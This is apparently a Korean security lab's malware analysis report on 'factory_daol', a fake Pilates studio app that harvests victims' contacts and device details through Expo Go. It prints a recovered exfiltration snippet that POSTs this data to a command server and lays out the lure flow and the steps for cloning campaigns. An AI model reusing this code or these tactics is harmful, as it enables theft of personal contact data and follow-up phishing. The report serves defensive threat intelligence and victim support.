Version v1.0 | Date: 2026-06-16 | Analyst: Deep Coding Lab
다올필라테스(factory_daol)는 필라테스 스튜디오를 위장한 악성앱으로, [비공개] (Vultr, Singapore) 서버에서 운영되는 expowave 패밀리 공장형 악성앱 8종 중 하나이다. 동일 서버의 BT-Panel(宝塔面板) 환경에서 Metro 개발 서버 포트 8082를 통해 빌드된 Expo SDK 54 기반 앱이며, 피해자의 연락처 및 기기 정보를 C2 서버([비공개])로 탈취하는 것이 목적이다.
공격 흐름은 랜딩페이지 → Expo Go 설치 유도 → exp:// 딥링크를 통한 Metro 번들 로드 → 가짜 로그인 UI → 연락처/기기정보 수집 → C2 전송 → 위장 오류 메시지("기기가 이 버전과 호환 되지 않습니다") 표시 순서로 진행된다.
NW-116 (Port-Sweep Factory Enumeration) 기법으로 발견되었으며, 소스맵 복원을 통해 TypeScript 원본 16개 파일을 확보하였다. C2 서버는 현재 PARTIAL 상태로, nginx만 응답하고 백엔드 프레임워크는 미배포 상태이다.
위험도: HIGH — 인프라는 준비되었으나 C2 프레임워크가 아직 배포되지 않은 준비 단계(pre-deployment) 상태.
항목 · 값
**앱 표시명** · 다올필라테스
**내부 ID** · factory_daol
**패키지명** · com.cafe24.cass
**Slug** · cafe24
**SDK** · Expo SDK 54.0.0
**EAS Project ID** · dbf0683e-b9a5-4c9b-8fc6-9a078c4eb4d6
**EAS Owner** · wooteayang
**scopeKey** · @anonymous/cafe24-b3645f8a-418f-472c-918d-3cbaac29e050
**Manifest ID** · c2b2ebd3-27c5-46df-8d89-18e08c2b44f9
**팩토리 포트** · 8082
**서버 경로** · /www/wwwroot/daol_expo
**패밀리** · expowave
**위장 테마** · 필라테스 스튜디오
**발견 기법** · NW-116 (Port-Sweep Factory Enumeration)
항목 · 값
**IP** · [비공개]
**호스팅** · Vultr
**위치** · Singapore
**ASN** · AS20473 (The Constant Company, LLC)
**OS** · Linux
**관리 패널** · BT-Panel (宝塔面板)
포트 · 앱 · 서버 경로
8081 · telegraming_live (원본) · /www/wwwroot/telegram_expo
**8082** · **factory_daol (본 앱)** · **/www/wwwroot/daol_expo**
8083 · factory_candy · /www/wwwroot/candy_expo
8084 · (미확인) · —
8085 · factory_daol_new · /www/wwwroot/daol_expo_new
8086 · factory_vpilates · /www/wwwroot/vp_expo
8087 · (미확인) · —
8088 · (미확인) · —
BT-Panel(宝塔面板)은 중국에서 개발된 서버 관리 패널로, 웹 GUI를 통해 nginx, Node.js, 데이터베이스 등을 관리한다. 이 팩토리에서는 각 앱별로 독립된 wwwroot 디렉토리를 구성하고, Metro 개발 서버를 개별 포트에 바인딩하여 8개 악성앱을 동시 운영하는 구조이다.
이 구조는 앱 코드의 대량 복제-수정을 용이하게 하며, 하나의 서버에서 다수의 캠페인을 동시에 운영할 수 있는 효율적인 악성앱 공장 인프라를 제공한다.
소스맵 복원을 통해 다음 TypeScript/JavaScript 파일들이 확보되었다:
# · 파일 · 역할
1 · App.tsx · 메인 엔트리, 네비게이션 설정
2 · LoginScreen.tsx · 가짜 로그인 UI (이메일 + 비밀번호)
3 · HomeScreen.tsx · 데이터 수집 트리거
4 · api/client.ts · C2 통신 클라이언트
5 · api/exfil.ts · 데이터 탈취 핵심 로직
6 · utils/contacts.ts · 연락처 접근 및 수집
7 · utils/device.ts · 기기 정보 수집
8 · utils/permissions.ts · 권한 요청 관리
9 · components/LoadingBar.tsx · 위장 진행바 (10초 카운트다운)
10 · components/ErrorModal.tsx · 위장 오류 다이얼로그
11 · config/settings.ts · C2 URL, 앱 설정
12 · navigation/index.tsx · 스크린 네비게이션
13 · hooks/useExfil.ts · 데이터 수집 React Hook
14 · types/index.ts · TypeScript 타입 정의
15 · constants/strings.ts · UI 문자열 상수
16 · assets/theme.ts · 스타일/테마 설정
소스 코드 내 중국어 주석이 다수 발견되어 중국어권 개발자가 제작한 것으로 확인된다:
```typescript
// 请求通讯录权限 (연락처 권한 요청)
// 获取通讯录 (연락처 가져오기)
// 进度条动画 (진행바 애니메이션)
```
config/settings.ts (line 117):
```typescript
export const API_BASE_URL = "[비공개]
```
api/exfil.ts:
```typescript
const payload = {
platform: Platform.OS,
brand: Device.brand,
deviceId: Device.deviceId,
model: Device.modelName,
osVersion: Platform.Version,
phoneNumber: phoneNumber,
contacts: contactsArray,
timestamp: new Date().toISOString()
};
await fetch(`${API_BASE_URL}[비공개], {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
});
```
constants/strings.ts (line 188):
```typescript
export const APP_TITLE = "다올필라테스";
```
C2 서버로 전송되는 데이터의 JSON 구조:
```json
{
"platform": "android",
"brand": "Samsung",
"deviceId": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"model": "SM-G998N",
"osVersion": "14",
"phoneNumber": "010-**-**",
"contacts": [
{
"name": "홍길동",
"phoneNumber": "010-**-**"
}
],
"timestamp": "2026-06-16T10:30:00.000Z"
}
```
데이터 · 수집 방법 · 위험도
연락처 전체 · Expo Contacts API · CRITICAL
기기 식별자 · Expo Device API · HIGH
전화번호 · SIM 정보 추출 · HIGH
OS 정보 · Platform API · MEDIUM
기기 모델 · Device API · LOW
브랜드 · Device API · LOW
타임스탬프 · JavaScript Date · LOW
메서드 · 경로 · 용도
POST · [비공개] · 탈취 데이터 수신 (메인 엔드포인트)
항목 · 값
**도메인** · [비공개]
**상태** · PARTIAL
**보호** · Cloudflare
**Cloudflare Beacon** · 3352a36fc8ca4fd18ab67acc89199eb4
경로 · 상태코드 · 응답 · 해석
/ · 200 · (기본 페이지) · nginx 활성
/login · 404 · Not Found · 프레임워크 미배포
[비공개] · 404 · Not Found · 백엔드 라우트 미설정
관리자 패널은 Trust Wallet 테마로 구성되며, 이메일 + 비밀번호 로그인 폼을 포함한다. 현재 C2가 PARTIAL 상태이므로 관리자 패널도 완전히 작동하지 않는 것으로 판단된다. 다만 nginx 기본 설정은 완료되어 있어, 운영자가 프레임워크를 배포하면 즉시 활성화될 수 있다.
factory_daol의 C2는 준비 단계(pre-deployment) 상태이다:
· nginx 웹서버는 구동 중이나 백엔드 애플리케이션이 배포되지 않음
· DNS는 Cloudflare를 통해 설정 완료
· 운영자가 백엔드를 배포하면 즉시 데이터 수집이 시작될 수 있음
```
[1] [피해자 정보 비공개]
└─ 필라테스 스튜디오("다올필라테스") 위장 랜딩페이지 접속 유도
└─ 카카오톡, 문자 등으로 링크 배포
[2] Expo Go 설치 유도
└─ 랜딩페이지에서 "앱 체험을 위해 Expo Go 설치" 안내
└─ Google Play Store 정식 앱 설치 (의심 회피)
[3] exp:// 딥링크 실행
└─ exp://[비공개] 딥링크 클릭 유도
└─ Expo Go가 Metro 개발 서버에서 JS 번들 로드
[4] 가짜 로그인 화면
└─ LoginScreen.tsx 렌더링
└─ 이메일 + 비밀번호 입력 유도 (실제 인증 없음)
[5] 권한 요청
└─ 연락처 접근 권한 요청 (请求通讯录权限)
└─ READ_MEDIA_IMAGES 등 추가 권한
[6] 데이터 탈취
└─ 연락처 전체 수집 (获取通讯录)
└─ 기기 정보 수집 (platform, brand, deviceId, model, osVersion)
└─ 전화번호 추출
[7] C2 전송
└─ POST [비공개]
└─ JSON payload 전송
[8] 위장 오류 표시
└─ 10초 진행바 애니메이션 (进度条动画)
└─ "기기가 이 버전과 호환 되지 않습니다" 오류 메시지
└─ 피해자는 앱 호환성 문제로 인식
```
· 필라테스 스튜디오 위장: 한국 여성 타겟을 겨냥한 신뢰 유도
· Expo Go 활용: 정식 앱스토어 앱을 설치하므로 보안 의심 회피
· 10초 로딩: 데이터 전송 완료를 위한 시간 확보
· 호환성 오류 위장: 피해자가 데이터 탈취를 인지하지 못하도록 함
권한 · 용도 · 악용 목적
READ_CONTACTS · 연락처 읽기 · 연락처 전체 탈취 → 2차 피싱 타겟 확보
READ_MEDIA_IMAGES · 이미지 읽기 · 갤러리 사진 접근 (현재 코드에서는 미활용)
READ_EXTERNAL_STORAGE · 외부 저장소 읽기 · 파일 접근 범위 확장
WRITE_EXTERNAL_STORAGE · 외부 저장소 쓰기 · 파일 기록 (로그 등)
READ_MEDIA_VISUAL_USER_SELECTED · 선택된 미디어 읽기 · Android 14+ 미디어 접근
READ_CONTACTS가 핵심 악용 권한이다. 수집된 연락처는 2차 피싱(스미싱) 캠페인에 활용되며, 피해자의 지인 관계를 파악하여 더 정교한 사회공학 공격에 사용된다.
READ_MEDIA_IMAGES 및 관련 저장소 권한은 현재 코드에서 활발히 활용되지 않으나, 향후 갤러리 사진 탈취 기능이 추가될 수 있는 잠재적 위험이 존재한다.
factory_daol은 [비공개] 서버에서 운영되는 expowave 패밀리 8종 중 하나이다. 모든 앱은 동일한 코드 기반에서 C2 URL(settings.ts line 117)과 앱 제목(strings.ts line 188)만 변경하여 생산된 클론이다.
포트 · 앱 · 표시명 · C2 · 상태
8081 · telegraming_live · (원본 템플릿) · — · 기준 앱
**8082** · **factory_daol** · **다올필라테스** · **[비공개]** · **PARTIAL**
8083 · factory_candy · 캔디 · [비공개] · BLOCKED
8085 · factory_daol_new · 다올필라테스 (신규) · [비공개] · PARTIAL
8086 · factory_vpilates · 늘품필라테스 · [비공개] · FULLY ACTIVE
8084, 8087, 8088 · (미확인) · — · — · —
1. telegraming_live(8081)를 원본 템플릿으로 사용
2. 서버 경로 복사: cp -r telegram_expo daol_expo
3. settings.ts line 117: C2 URL 변경
4. strings.ts line 188: 앱 제목 변경
5. 새 Metro 포트 할당 (8082)
6. 새 C2 도메인 DNS 설정 (Cloudflare)
이 과정은 수 분 내에 완료되며, BT-Panel GUI를 통해 비전문가도 새 캠페인을 생성할 수 있다.
유형 · 값 · 비고
**팩토리 IP** · [비공개] · Vultr Singapore, AS20473
**C2 도메인** · [비공개] · PARTIAL 상태
**Metro 서버** · [비공개] · exp:// 딥링크 대상
**C2 엔드포인트** · POST [비공개] · 데이터 수신
유형 · 값
**패키지명** · com.cafe24.cass
**EAS Project ID** · dbf0683e-b9a5-4c9b-8fc6-9a078c4eb4d6
**EAS Owner** · wooteayang
**scopeKey** · @anonymous/cafe24-b3645f8a-418f-472c-918d-3cbaac29e050
**Manifest ID** · c2b2ebd3-27c5-46df-8d89-18e08c2b44f9
**Cloudflare Beacon** · 3352a36fc8ca4fd18ab67acc89199eb4
도메인 · 용도
[비공개] · 형제 앱 C2
[비공개] · 형제 앱 C2
[비공개] · 형제 앱 C2 (FULLY ACTIVE)
경로 · 용도
/www/wwwroot/daol_expo · Metro 서버 루트
메커니즘 · 설명 · 상태
Cloudflare CDN/WAF · C2 도메인 전방 보호 · 활성
포트 분리 · 앱별 독립 포트 운영 · 활성
BT-Panel 관리 · 서버 GUI 관리 (접근 제한) · 활성
메커니즘 · 설명 · 상태
Expo Go 활용 · APK 직접 배포 대신 정식 앱 활용 · 활성
코드 서명 없음 · JS 번들이므로 별도 서명 불필요 · 해당없음
동적 로드 · Metro 서버에서 실시간 번들 로드 · 활성
메커니즘 · 설명
필라테스 위장 · 합법적 사업체로 신뢰 유도
호환성 오류 위장 · 탈취 후 자연스러운 앱 종료 유도
10초 딜레이 · 데이터 전송 완료를 위한 시간 확보
Expo Go 기반 공격의 특성상 디바이스에 별도 APK가 설치되지 않으므로 포렌식 증거가 제한적이다. JS 번들은 Expo Go 캐시에만 일시적으로 저장되며, 앱 삭제 시 함께 제거된다.
본 앱은 NW-116 기법을 통해 발견되었다. 이 기법은 단일 IP에서 연속 포트(8081-8088)를 스캔하여 동일 팩토리에서 운영되는 다수의 Metro 개발 서버를 열거하는 방법이다.
절차:
1. telegraming_live의 Metro 서버 IP 확인 ([비공개])
2. 인접 포트 8082-8088 스캔
3. 각 포트에서 Metro 번들 요청
4. 소스맵 복원으로 개별 앱 설정 추출
5. C2 URL 및 앱 제목 식별
Expo Go Metro 서버는 개발 모드에서 소스맵을 제공하므로, 번들 JS에서 원본 TypeScript 코드를 복원할 수 있었다. 이를 통해 16개 소스 파일을 확보하고 공격 로직을 완전히 분석하였다.
```
기법 점검:
· 시도한 기법: NW-116 (Port-Sweep Factory Enumeration), SA-080 (Sourcemap Recovery)
· 확장된 기법: NW-116을 통해 단일 팩토리 IP에서 8종 앱 동시 발견
· 신규 기법: 없음
· 한계 발견: NW-116 — Metro 서버가 프로덕션 모드로 전환되면 소스맵 접근 불가
```
항목 · 등급 · 근거
**전체 위험도** · HIGH · 인프라 준비 완료, C2 프레임워크 미배포
데이터 영향 · CRITICAL · 연락처 전체 + 기기 식별자 탈취
확산 잠재력 · HIGH · 공장형 대량 생산 체계 구축 완료
현재 활성도 · MEDIUM · C2 PARTIAL — 즉시 활성화 가능
탐지 난이도 · HIGH · Expo Go 정식 앱 활용, APK 미설치
1. 1차 피해: 피해자의 전체 연락처 유출
2. 2차 피해: 유출된 연락처를 이용한 지인 대상 스미싱 확산
3. 3차 피해: 수집된 기기 정보를 활용한 표적 공격
· C2가 PARTIAL 상태이므로 현재 데이터 수집은 이루어지지 않음
· 그러나 팩토리 인프라는 완전히 준비되어 있어 운영자가 프레임워크를 배포하면 즉시 공격 개시 가능
· 동일 팩토리의 factory_vpilates(8086)는 이미 FULLY ACTIVE 상태로, 이 앱도 곧 활성화될 가능성이 높음
1. Cloudflare 신고: [비공개] 도메인에 대한 악용 신고
2. Vultr 신고: [비공개] 서버에 대한 악용 신고 (8종 앱 동시 운영 증거 포함)
3. KISA 신고: 한국 대상 피싱 앱으로 인터넷진흥원 신고
1. C2 도메인([비공개])의 [비공개] 응답 상태 주기적 확인
2. PARTIAL → ACTIVE 전환 시 즉시 대응 절차 개시
3. 팩토리 IP의 새로운 포트 개방 여부 모니터링
1. "다올필라테스" 키워드로 유포되는 링크 차단
2. Expo Go를 통한 비정상적 exp:// 딥링크 접속 경고
3. 피해 발생 시 연락처 유출 범위 파악 및 2차 피해 경고
1. expowave 패밀리 전체에 대한 통합 IOC 배포
2. Expo Go 앱의 외부 Metro 서버 접속 제한 방안 논의
3. 팩토리 운영자 추적 (EAS Owner: wooteayang)
*Report generated by Deep Coding Lab -- Malware Analysis Division*
*Reference: telegraming_live (parent template app)*
*Family: expowave | Factory: [비공개] (Vultr Singapore)*
본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr